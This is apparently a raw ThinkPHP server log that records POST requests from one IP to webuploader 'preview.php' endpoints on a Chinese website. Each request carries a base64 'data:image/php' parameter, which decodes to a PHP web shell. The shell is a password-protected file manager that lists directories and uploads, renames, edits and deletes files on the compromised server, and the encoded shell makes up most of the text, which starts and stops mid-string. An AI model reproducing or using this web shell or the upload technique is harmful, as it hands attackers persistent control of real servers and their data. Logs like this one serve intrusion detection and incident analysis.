4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:08+08:00 ] 119.42.146.234 POST 51tianwei.com/res/webuploader/0.1.15/server/preview.php [运行时间:0.002432s] [吞吐率:411.17req/s] [内存消耗:164.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:10+08:00 ] 119.42.146.234 POST 51tianwei.com/viagraedit/webuploader/0.1.15/server/preview.php [运行时间:0.002728s] [吞吐率:366.57req/s] [内存消耗:196.71kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'viagraedit', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGk